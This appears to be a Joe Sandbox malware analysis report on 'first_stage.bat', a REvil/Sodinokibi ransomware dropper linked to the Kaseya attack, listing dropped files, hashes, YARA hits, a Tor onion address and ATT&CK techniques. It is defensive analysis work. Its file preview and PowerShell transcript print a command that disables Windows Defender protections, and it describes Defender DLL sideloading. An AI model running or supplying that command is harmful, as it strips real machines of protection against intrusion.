        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: MsMpEng.exe, 0000000C.00000002.812851426.000000000111A000.00000004.00000020.sdmpBinary or memory string: C:\Windows\MsMpEng.exe
        Source: MsMpEng.exe, 0000000C.00000002.828352790.00000000031FB000.00000004.00000001.sdmpBinary or memory string: MsMpEng.exe

        Mitre Att&ck Matrix

        Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
        Valid AccountsCommand and Scripting Interpreter1Path InterceptionProcess Injection12Masquerading121OS Credential DumpingSecurity Software Discovery11Remote ServicesData from Local SystemExfiltration Over Other Network MediumProxy1Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
        Default AccountsScripting1Boot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsDisable or Modify Tools3LSASS MemoryProcess Discovery2Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothJunk DataExploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
        Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Virtualization/Sandbox Evasion21Security Account ManagerVirtualization/Sandbox Evasion21SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationSteganographyExploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
        Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Process Injection12NTDSApplication Window Discovery1Distributed Component Object ModelInput CaptureScheduled TransferProtocol ImpersonationSIM Card SwapCarrier Billing Fraud
        Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptScripting1LSA SecretsSystem Information Discovery11SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
        Replication Through Removable MediaLaunchdRc.commonRc.commonSteganographyCached Domain CredentialsRemote System Discovery1VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
        External Remote ServicesScheduled TaskStartup ItemsStartup ItemsCompile After DeliveryDCSyncSystem Network Configuration Discovery1Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact

        Behavior Graph

        Hide Legend

        Legend:

        • Process
        • Signature
        • Created File
        • DNS/IP Info
        • Is Dropped
        • Is Windows Process
        • Number of created Registry Values
        • Number of created Files
        • Visual Basic
        • Delphi
        • Java
        • .Net C# or VB.NET
        • C, C++ or other language
        • Is malicious
        • Internet
        behaviorgraph top1 signatures2 2 Behavior Graph ID: 1518902 Sample: first_stage.bat Startdate: 15/07/2021 Architecture: WINDOWS Score: 84 36 Found malware configuration 2->36 38 Yara detected Sodinokibi Ransomware 2->38 40 Found Tor onion address 2->40 7 cmd.exe 2 2->7         started        process3 file4 26 C:\Windows\cert.exe, PE32+ 7->26 dropped 42 Uses ping.exe to sleep 7->42 44 Drops executables to the windows directory (C:\Windows) and starts them 7->44 46 Uses ping.exe to check the status of other devices and networks 7->46 48 2 other signatures 7->48 11 agent.exe 2 7->11         started        15 cmd.exe 1 7->15         started        18 cert.exe 3 2 7->18         started        20 2 other processes 7->20 signatures5 process6 dnsIp7 28 C:\Windows\MsMpEng.exe, PE32 11->28 dropped 30 C:\Windows\mpsvc.dll, PE32 11->30 dropped 50 Drops executables to the windows directory (C:\Windows) and starts them 11->50 52 Drops or copies MsMpEng.exe (Windows Defender, likely to bypass HIPS) 11->52 22 MsMpEng.exe 11->22         started        34 127.0.0.1 unknown unknown 15->34 54 Uses ping.exe to sleep 15->54 24 PING.EXE 1 15->24         started        32 C:\Users\user\Desktop\agent.exe, PE32 18->32 dropped file8 signatures9 process10

        Screenshots

        Thumbnails

        This section contains all screenshots as thumbnails, including those not shown in the slideshow.

        windows-stand

        Antivirus, Machine Learning and Genetic Malware Detection

        Initial Sample

        No Antivirus matches

        Dropped Files

        No Antivirus matches

        Unpacked PE Files

        No Antivirus matches

        Domains

        No Antivirus matches

        URLs

        SourceDetectionScannerLabelLink
        https://sectigo.com/CPS00%URL Reputationsafe
        https://sectigo.com/CPS00%URL Reputationsafe
        https://sectigo.com/CPS00%URL Reputationsafe
        http://ocsp.sectigo.com00%URL Reputationsafe
        http://ocsp.sectigo.com00%URL Reputationsafe
        http://ocsp.sectigo.com00%URL Reputationsafe
        http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s0%URL Reputationsafe
        http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s0%URL Reputationsafe
        http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s0%URL Reputationsafe
        http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#0%URL Reputationsafe
        http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#0%URL Reputationsafe
        http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#0%URL Reputationsafe
        http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/0%URL Reputationsafe
        http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/0%URL Reputationsafe
        http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/0%URL Reputationsafe

        Domains and IPs

        Contacted Domains

        No contacted domains info

        URLs from Memory and Binaries

        NameSourceMaliciousAntivirus DetectionReputation
        https://%ws/%ws_%ws_%ws/service.svc/%wsADPolicyProviderSCEPcert.exe, 00000009.00000000.625173217.00007FF7EB9B9000.00000002.00020000.sdmp, cert.exe.0.drfalse
          low
          http://nuget.org/NuGet.exepowershell.exe, 00000005.00000002.608910164.000001C01017D000.00000004.00000001.sdmpfalse
            high
            http://pesterbdd.com/images/Pester.png(~.powershell.exe, 00000005.00000002.583226208.000001C000327000.00000004.00000001.sdmpfalse
              unknown
              https://sectigo.com/CPS0cert.exe, 00000009.00000002.632837299.0000010BDFBA0000.00000004.00000001.sdmp, agent.exe, 0000000B.00000000.648796036.0000000000E75000.00000002.00020000.sdmp, agent.exe.9.drfalse
              • URL Reputation: safe
              • URL Reputation: safe
              • URL Reputation: safe
              unknown
              http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/E878B8E092C2FC0AMsMpEng.exe, 0000000C.00000002.828267298.000000000306C000.00000004.00000040.sdmptrue
                unknown
                http://ocsp.sectigo.com0cert.exe, 00000009.00000002.632837299.0000010BDFBA0000.00000004.00000001.sdmp, agent.exe, 0000000B.00000000.648796036.0000000000E75000.00000002.00020000.sdmp, agent.exe.9.drfalse
                • URL Reputation: safe
                • URL Reputation: safe
                • URL Reputation: safe
                unknown
                http://pesterbdd.com/images/Pester.pngpowershell.exe, 00000005.00000002.583226208.000001C000327000.00000004.00000001.sdmpfalse
                  unknown
                  http://schemas.xmlsoap.org/soap/encoding/powershell.exe, 00000005.00000002.583226208.000001C000327000.00000004.00000001.sdmpfalse
                    high
                    http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 00000005.00000002.583226208.000001C000327000.00000004.00000001.sdmpfalse
                      high
                      https://login.microsoftonline.com/%s/oauth2/authorizeStringCchPrintfWhttps://login.microsoftonline.ccert.exe, 00000009.00000000.625173217.00007FF7EB9B9000.00000002.00020000.sdmp, cert.exe.0.drfalse
                        high
                        https://contoso.com/Licensepowershell.exe, 00000005.00000002.608910164.000001C01017D000.00000004.00000001.sdmpfalse
                          unknown
                          https://torproject.org/MsMpEng.exe, 0000000C.00000002.828267298.000000000306C000.00000004.00000040.sdmpfalse
                            high
                            https://contoso.com/Iconpowershell.exe, 00000005.00000002.608910164.000001C01017D000.00000004.00000001.sdmpfalse
                              unknown
                              http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0scert.exe, 00000009.00000002.632837299.0000010BDFBA0000.00000004.00000001.sdmp, agent.exe, 0000000B.00000000.648796036.0000000000E75000.00000002.00020000.sdmp, agent.exe.9.drfalse
                              • URL Reputation: safe
                              • URL Reputation: safe
                              • URL Reputation: safe
                              unknown
                              http://crl.osofts/Microt0powershell.exe, 00000005.00000002.615063400.000001C018B95000.00000004.00000001.sdmpfalse
                                unknown
                                http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#cert.exe, 00000009.00000002.632837299.0000010BDFBA0000.00000004.00000001.sdmp, agent.exe, 0000000B.00000000.648796036.0000000000E75000.00000002.00020000.sdmp, agent.exe.9.drfalse
                                • URL Reputation: safe
                                • URL Reputation: safe
                                • URL Reputation: safe
                                unknown
                                http://www.apache.org/licenses/LICENSE-2.0.html(~.powershell.exe, 00000005.00000002.583226208.000001C000327000.00000004.00000001.sdmpfalse
                                  high
                                  https://github.com/Pester/Pesterpowershell.exe, 00000005.00000002.583226208.000001C000327000.00000004.00000001.sdmpfalse
                                    high
                                    http://www.openssl.org/support/faq.htmlcert.exe, 00000009.00000002.632837299.0000010BDFBA0000.00000004.00000001.sdmp, agent.exe, 0000000B.00000000.648796036.0000000000E75000.00000002.00020000.sdmp, MsMpEng.exe, 0000000C.00000002.829145668.000000006F342000.00000002.00020000.sdmp, agent.exe.9.drfalse
                                      high
                                      http://crl.mpowershell.exe, 00000005.00000002.613871511.000001C01867B000.00000004.00000001.sdmpfalse
                                        unknown
                                        http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/MsMpEng.exe, 0000000C.00000003.652899612.000000000306C000.00000004.00000040.sdmptrue
                                        • URL Reputation: safe
                                        • URL Reputation: safe
                                        • URL Reputation: safe
                                        unknown
                                        https://github.com/Pester/Pester(~.powershell.exe, 00000005.00000002.583226208.000001C000327000.00000004.00000001.sdmpfalse
                                          high
                                          http://decoder.re/E878B8E092C2FC0AMsMpEng.exe, 0000000C.00000002.828267298.000000000306C000.00000004.00000040.sdmpfalse
                                            unknown
                                            http://decoder.re/MsMpEng.exe, 0000000C.00000003.652899612.000000000306C000.00000004.00000040.sdmpfalse
                                              unknown
                                              http://schemas.xmlsoap.org/wsdl/powershell.exe, 00000005.00000002.583226208.000001C000327000.00000004.00000001.sdmpfalse
                                                high
                                                https://contoso.com/powershell.exe, 00000005.00000002.608910164.000001C01017D000.00000004.00000001.sdmpfalse
                                                  unknown
                                                  https://nuget.org/nuget.exepowershell.exe, 00000005.00000002.608910164.000001C01017D000.00000004.00000001.sdmpfalse
                                                    high
                                                    http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 00000005.00000002.582409009.000001C000121000.00000004.00000001.sdmpfalse
                                                      high

                                                      Contacted IPs

                                                      • No. of IPs < 25%
                                                      • 25% < No. of IPs < 50%
                                                      • 50% < No. of IPs < 75%
                                                      • 75% < No. of IPs

                                                      Public

                                                      IPDomainCountryFlagASNASN NameMalicious

                                                      Private

                                                      IP
                                                      127.0.0.1

                                                      General Information

                                                      Joe Sandbox Version:32.0.0
                                                      Analysis ID:1518902
                                                      Start date:15.07.2021
                                                      Start time:17:02:24
                                                      Joe Sandbox Product:Cloud
                                                      Overall analysis duration:0h 16m 49s
                                                      Hypervisor based Inspection enabled:false
                                                      Report type:full
                                                      Sample file name:first_stage.bat
                                                      Cookbook file name:default.jbs
                                                      Analysis system description:Windows 10 64 bit (version 1803) with Office 2016 Adobe Reader DC 19, Chrome 70, Firefox 63, Java 8.171, Flash 30.0.0.113
                                                      Number of analysed new started processes analysed:13
                                                      Number of new started drivers analysed:0
                                                      Number of existing processes analysed:0
                                                      Number of existing drivers analysed:0
                                                      Number of injected processes analysed:0
                                                      Technologies:
                                                      • EGA enabled
                                                      • GSI enabled (VBA)
                                                      • GSI enabled (Javascript)
                                                      • GSI enabled (Java)
                                                      • AMSI enabled
                                                      Analysis Mode:default
                                                      Analysis stop reason:Timeout
                                                      Detection:MAL
                                                      Classification:mal84.rans.troj.evad.winBAT@14/10@0/1
                                                      Cookbook Comments:
                                                      • Adjust boot time
                                                      • Enable AMSI
                                                      • Found application associated with file extension: .bat
                                                      Warnings:
                                                      Show All
                                                      • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, WmiPrvSE.exe, svchost.exe
                                                      • Not all processes where analyzed, report is missing behavior information
                                                      • Report size exceeded maximum capacity and may have missing behavior information.

                                                      Simulations

                                                      Behavior and APIs

                                                      TimeTypeDescription
                                                      17:05:19API Interceptor26x Sleep call for process: powershell.exe modified

                                                      Created / dropped Files

                                                      C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:data
                                                      Category:dropped
                                                      Size (bytes):18817
                                                      Entropy (8bit):5.004929862695359
                                                      Encrypted:false
                                                      SSDEEP:384:LFTvOjJgYoIVoGIpN6KQkj2zNXp5iOdBFRib4Cz5Akjh4iUxNZrW4+ib4J:L9MgYoIV3IpNBQkj2zNZYOdBF+z55h4A
                                                      MD5:29429B1BD9A6645178818ED92AB9FE24
                                                      SHA1:CDCD3226C460D728CBACB7A9BF009BFF6A06FCDF
                                                      SHA-256:444CE4EFE972DB07291821B7C2CC557719CFED4B1FF7282ED3414AAFCB348FCC
                                                      SHA-512:0EC347C27C27A86053B3334DF065FFCAC55F350267C645F5020E2696BCDE318547D5FBFF675DFC6CDE64B9889E69349F91C2C18A766A49A07508B1EA7D9DCCF0
                                                      Malicious:false
                                                      Reputation:low
                                                      Preview: PSMODULECACHE.....y......I...C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........AfterEach........Should........BeforeEach........Get-MockDynamicParameters........It........Assert-VerifiableMocks........BeforeAll........Context........Set-TestInconclusive........AfterAll........Setup........Set-DynamicParameterVariables........Invoke-Pester........Assert-MockCalled........New-PesterOption........l.D.....I...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ConfigCI\ConfigCI.psd1........Get-CIPolicyInfo........Get-CIPolicyIdInfo........Set-CIPolicySetting........Merge-CIPolicy........Edit-CIPolicyRule........Set-CIPolicyVersion........Set-CIPolicyIdInfo........ConvertFrom-CIPolicy........Set-HVCIOptions........Add-SignerRule........New-CIPolicy........Get-SystemDriver........Set-RuleOption........Get-CIPolicy......
                                                      C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:data
                                                      Category:dropped
                                                      Size (bytes):64
                                                      Entropy (8bit):0.9260988789684415
                                                      Encrypted:false
                                                      SSDEEP:3:Nlllulb/lj:NllUb/l
                                                      MD5:13AF6BE1CB30E2FB779EA728EE0A6D67
                                                      SHA1:F33581AC2C60B1F02C978D14DC220DCE57CC9562
                                                      SHA-256:168561FB18F8EBA8043FA9FC4B8A95B628F2CF5584E5A3B96C9EBAF6DD740E3F
                                                      SHA-512:1159E1087BC7F7CBB233540B61F1BDECB161FF6C65AD1EFC9911E87B8E4B2E5F8C2AF56D67B33BC1F6836106D3FEA8C750CC24B9F451ACF85661E0715B829413
                                                      Malicious:false
                                                      Reputation:low
                                                      Preview: @...e................................................@..........
                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w4p4f3yn.ecm.ps1
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:ASCII text, with no line terminators
                                                      Category:dropped
                                                      Size (bytes):80
                                                      Entropy (8bit):4.558023122000212
                                                      Encrypted:false
                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFcJOUFKY:SnqbKAKWG3
                                                      MD5:8B81B2621EF39226370B1F8BBBBF5187
                                                      SHA1:7B11108E2D3982444B509215E68BFFB585FAF00E
                                                      SHA-256:950DFFAAD951EDF2B6C5BCD67A299EE489A5217D400F13EB2D4B80BCB5B5626B
                                                      SHA-512:934D935AEE54F934409846B7577E9C8B9F551B42F9688702158C7347CBA50EEC3740F25240BE2CDE6A17CA66BD500FAE15F2FD62CAF4A199809C57B4467AE8ED
                                                      Malicious:false
                                                      Reputation:low
                                                      Preview: # PowerShell test file to determine AppLocker lockdown mode 7/15/2021 5:05:18 PM
                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ynz0nhxq.jzc.psm1
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:ASCII text, with no line terminators
                                                      Category:dropped
                                                      Size (bytes):80
                                                      Entropy (8bit):4.558023122000212
                                                      Encrypted:false
                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFcJOUFKY:SnqbKAKWG3
                                                      MD5:8B81B2621EF39226370B1F8BBBBF5187
                                                      SHA1:7B11108E2D3982444B509215E68BFFB585FAF00E
                                                      SHA-256:950DFFAAD951EDF2B6C5BCD67A299EE489A5217D400F13EB2D4B80BCB5B5626B
                                                      SHA-512:934D935AEE54F934409846B7577E9C8B9F551B42F9688702158C7347CBA50EEC3740F25240BE2CDE6A17CA66BD500FAE15F2FD62CAF4A199809C57B4467AE8ED
                                                      Malicious:false
                                                      Reputation:low
                                                      Preview: # PowerShell test file to determine AppLocker lockdown mode 7/15/2021 5:05:18 PM
                                                      C:\Users\user\Desktop\agent.exe
                                                      Process:C:\Windows\cert.exe
                                                      File Type:PE32 executable for MS Windows (GUI) Intel 80386 32-bit
                                                      Category:dropped
                                                      Size (bytes):912264
                                                      Entropy (8bit):6.952255719094324
                                                      Encrypted:false
                                                      SSDEEP:24576:vMz7ETDWX4XukZeVL/kYx9P/JY6gfjcsAE:kfF7k4pB/JYPIsAE
                                                      MD5:561CFFBABA71A6E8CC1CDCEDA990EAD4
                                                      SHA1:5162F14D75E96EDB914D1756349D6E11583DB0B0
                                                      SHA-256:D55F983C994CAA160EC63A59F6B4250FE67FB3E8C43A388AEC60A4A6978E9F1E
                                                      SHA-512:09149B9825DB2C9E6D2EC6665ABC64B0B7AAAFAA47C921C5BF0062CD7BEDD1FC64CF54646A098F45FC4B930F5FBECEE586FE839950C9135F64EA722B00BAA50E
                                                      Malicious:true
                                                      Yara Hits:
                                                      • Rule: APT_MAL_REvil_Kaseya_Jul21_2, Description: Detects malware used in the Kaseya supply chain attack, Source: C:\Users\user\Desktop\agent.exe, Author: Florian Roth
                                                      Reputation:low
                                                      Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............G..G..G..F..G..F..G..F..G...F..G...F..G...F..G..F..G..G..GE..F..GE.~G..GE..F..GRich..G........................PE..L......`.....................,....................@.................................={....@..................................#..(....P..............................P...8...............................@............... ............................text...r........................... ..`.rdata...Y.......Z..................@..@.data........0......................@....rsrc........P......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................
                                                      C:\Users\user\Documents\20210715\PowerShell_transcript.841675.lIzobYg7.20210715170517.txt
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:UTF-8 Unicode (with BOM) English text, with very long lines, with CRLF line terminators
                                                      Category:dropped
                                                      Size (bytes):20536
                                                      Entropy (8bit):5.301664462035412
                                                      Encrypted:false
                                                      SSDEEP:96:BZXQqO/NBCKo1ZDZvZQqO/NBCKo1ZFGz9a9qrZmQqO/NBCKo1Z/lg6rZzQqO/NB8:7hvheYFhBh4hChphch6
                                                      MD5:C24C3A68B763A02D9F886CC079DBA4F3
                                                      SHA1:8B2CF4150B52C4B650FC9C036BA39ECA95C0192C
                                                      SHA-256:CDEAE519071BDB76E232F25153231967E7B669C5B73B28C044A01242AB9C51C2
                                                      SHA-512:3C6EE46B59EF4813943918940F2D54DCE7B177D4DD93C73B8500943E81B919D849331092A9DE0B32952F5781E1FE9BF14DA9657FFC36AB1849174F1D9F20B1BA
                                                      Malicious:false
                                                      Reputation:low
                                                      Preview: .**********************..Windows PowerShell transcript start..Start time: 20210715170518..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 841675 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent Never..Process ID: 3140..PSVersion: 5.1.17134.165..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.165..BuildVersion: 10.0.17134.165..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..**********************..**********************..Command start time: 20210715170518..**********************..PS>Set-MpPreference -Disa
                                                      C:\Windows\MsMpEng.exe
                                                      Process:C:\Users\user\Desktop\agent.exe
                                                      File Type:PE32 executable for MS Windows (GUI) Intel 80386 32-bit
                                                      Category:dropped
                                                      Size (bytes):22224
                                                      Entropy (8bit):6.802966536066802
                                                      Encrypted:false
                                                      SSDEEP:384:NDr3WIqWJ1q//0GftpBjRwtxO4HRN7uJlYaibn6:FLe8ifJkuUaY6
                                                      MD5:8CC83221870DD07144E63DF594C391D9
                                                      SHA1:3D409B39B8502FCD23335A878F2CBDAF6D721995
                                                      SHA-256:33BC14D231A4AFAA18F06513766D5F69D8B88F1E697CD127D24FB4B72AD44C7A
                                                      SHA-512:E7F964A10A8799310A519FA569D264F652E13CC7EA199792DC6A5C0507DEC4A12844A87BF8BAB714255DCE717839908ED5D967CE8F65F5520FE4E7F9D25A622C
                                                      Malicious:true
                                                      Reputation:low
                                                      Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........K.*..*..*..R.H.*..*..*..R.M.*..R.Q.*..R.J.*..R.O.*..Rich.*..................PE..L....w,S..................................... ....@..........................`......9............`..........................$0..<....@...................@...P..$...................................H...@............0..$............................text............................... ..`.data...$.... ......................@....idata..,....0......................@..@.rsrc........@......................@..@.reloc.......P......................@..B................................................................................................................................................................................................................................................................................................................................................
                                                      C:\Windows\cert.exe
                                                      Process:C:\Windows\System32\cmd.exe
                                                      File Type:PE32+ executable for MS Windows (console) Mono/.Net assembly
                                                      Category:dropped
                                                      Size (bytes):1557512
                                                      Entropy (8bit):6.211791741055842
                                                      Encrypted:false
                                                      SSDEEP:24576:cgZXpeAPnh67DOFN29Qi7aHbEGoaPqjohfGLNUnjEAUFniL72fe:cgZXp5/h0C2apHygioheLOjE62m
                                                      MD5:37B6859A47D3D76DD8950D82293FAD67
                                                      SHA1:F6CCEBF5E68019EC8A85F565C0D0BDE9C4F1AC63
                                                      SHA-256:4F6D5A83E45671B29D501D5E3FA1EA6D8370AA47152BBABB307BC1FB8BB7FEEA
                                                      SHA-512:2E52B64923D2AAA6A3D1C8DDEFF00AEF180B72FE6E58AD395C37F150C65D4A3A58D9A2B82335DA155F00EF7704B9194057F563A8771F72FFCAB34DC66046B66E
                                                      Malicious:true
                                                      Reputation:low
                                                      Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k.......................n.......n.......n.......n..........g....n..M....nd......n......Rich....................PE..d...;............"......|...v.................@.............................@......f.....`.......... ......................................p...........8....p..0u..............l"......T............................................................................text...sz.......|.................. ..`.rdata..............................@..@.data....%...@......."..............@....pdata..0u...p...v..................@..@.didat..............................@....rsrc...8...........................@..@.reloc..l".......$..................@..B........................................................................................................................................................................................................................
                                                      C:\Windows\mpsvc.dll
                                                      Process:C:\Users\user\Desktop\agent.exe
                                                      File Type:PE32 executable for MS Windows (DLL) (console) Intel 80386 32-bit
                                                      Category:dropped
                                                      Size (bytes):808328
                                                      Entropy (8bit):6.978893799604197
                                                      Encrypted:false
                                                      SSDEEP:12288:KXnKcEqGM00LJdqoHuDWeij0XukcWl9e56+5gD6QRqb/kYxFNFsX3ArTjvJjx0uA:YETDWX4XukZeVL/kYx9P/JY6gfjcs
                                                      MD5:A47CF00AEDF769D60D58BFE00C0B5421
                                                      SHA1:656C4D285EA518D90C1B669B79AF475DB31E30B1
                                                      SHA-256:8DD620D9AEB35960BB766458C8890EDE987C33D239CF730F93FE49D90AE759DD
                                                      SHA-512:4C2DCAD3BD478FA70D086B7426D55976CAA7FFC3D120C9C805CBB49EAE910123C496BF2356066AFCACBA12BA05C963BBB8D95ED7F548479C90FEC57AA16E4637
                                                      Malicious:false
                                                      Yara Hits:
                                                      • Rule: APT_MAL_REvil_Kaseya_Jul21_2, Description: Detects malware used in the Kaseya supply chain attack, Source: C:\Windows\mpsvc.dll, Author: Florian Roth
                                                      Reputation:low
                                                      Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........x.............HU.....Hk.....HT.|...T.T.....a'.............KU......Kh......Kj.....Rich............PE..L...j..`...........!.........h............... .......................................[....@.....................................P....................>.......0...a..................................P...@............ ..h............................text...B........................... ..`.rdata..d.... ......................@..@.data....\....... ..................@....reloc...a...0...b..................@..B........................................................................................................................................................................................................................................................................................................................................................................
                                                      \Device\Null
                                                      Process:C:\Windows\System32\PING.EXE
                                                      File Type:ASCII text, with CRLF line terminators
                                                      Category:dropped
                                                      Size (bytes):331
                                                      Entropy (8bit):4.92149009030101
                                                      Encrypted:false
                                                      SSDEEP:6:PzLSLzMRfmWxHLThx2LThx0sW26VY7FwAFeMmvVOIHJFxMVlmJHaVFEG1vv:PKMRJpTeT0sBSAFSkIrxMVlmJHaVzvv
                                                      MD5:2E512EE24AAB186D09E9A1F9B72A0569
                                                      SHA1:C5BA2E0C0338FFEE13ED1FB6DA0CC9C000824B0B
                                                      SHA-256:DB41050CA723A06D95B73FFBE40B32DE941F5EE474F129B2B33E91C67B72674F
                                                      SHA-512:6B4487A088155E34FE5C642E1C3D46F63CB2DDD9E4092809CE6F3BEEFDEF0D1F8AA67F8E733EDE70B07F467ED5BB6F07104EEA4C1E7AC7E1A502A772F56F7DE9
                                                      Malicious:false
                                                      Reputation:low
                                                      Preview: ..Pinging 127.0.0.1 with 32 bytes of data:..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128....Ping statistics for 127.0.0.1:.. Packets: Sent = 2, Received = 2, Lost = 0 (0% loss),..Approximate round trip times in milli-seconds:.. Minimum = 0ms, Maximum = 0ms, Average = 0ms..

                                                      Static File Info

                                                      General

                                                      File type:ASCII text, with very long lines, with no line terminators
                                                      Entropy (8bit):5.032846968990232
                                                      TrID:
                                                        File name:first_stage.bat
                                                        File size:705
                                                        MD5:e96a8a5f13a6f4a42d5ba8da831ec0f9
                                                        SHA1:bb8d4a269ec7b3c4c4810d27f4cee5cb4d4176a7
                                                        SHA256:5ef2a30170b66ce21a13d82c89dc2065c10b21bea3da8cc8593f42c985cd94e2
                                                        SHA512:f8c6bc600981126a9e53347ff0a38efe23851f0aa48709b777585ad3eb401618a106bd6149b99a1c4e147d0c35dc47c3978729684cc99c43296be5f23b207fe6
                                                        SSDEEP:12:IRtzS9WejjInM0VizRIdYzSpeY53Lom26Wfqi8t+fOsaBCOfhBHOfhBCOfEOfhBJ:wtz8WM0VizRIhzqfLquOpBCOJBHOJBCw
                                                        File Content Preview:"C:\WINDOWS\system32\cmd.exe" /c ping 127.0.0.1 -n 2 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptSca

                                                        File Icon

                                                        Icon Hash:988686829e9ae600

                                                        Network Behavior

                                                        No network behavior found

                                                        Code Manipulations

                                                        Statistics

                                                        CPU Usage

                                                        Click to jump to process

                                                        Memory Usage

                                                        Click to jump to process

                                                        High Level Behavior Distribution

                                                        Click to dive into process behavior distribution

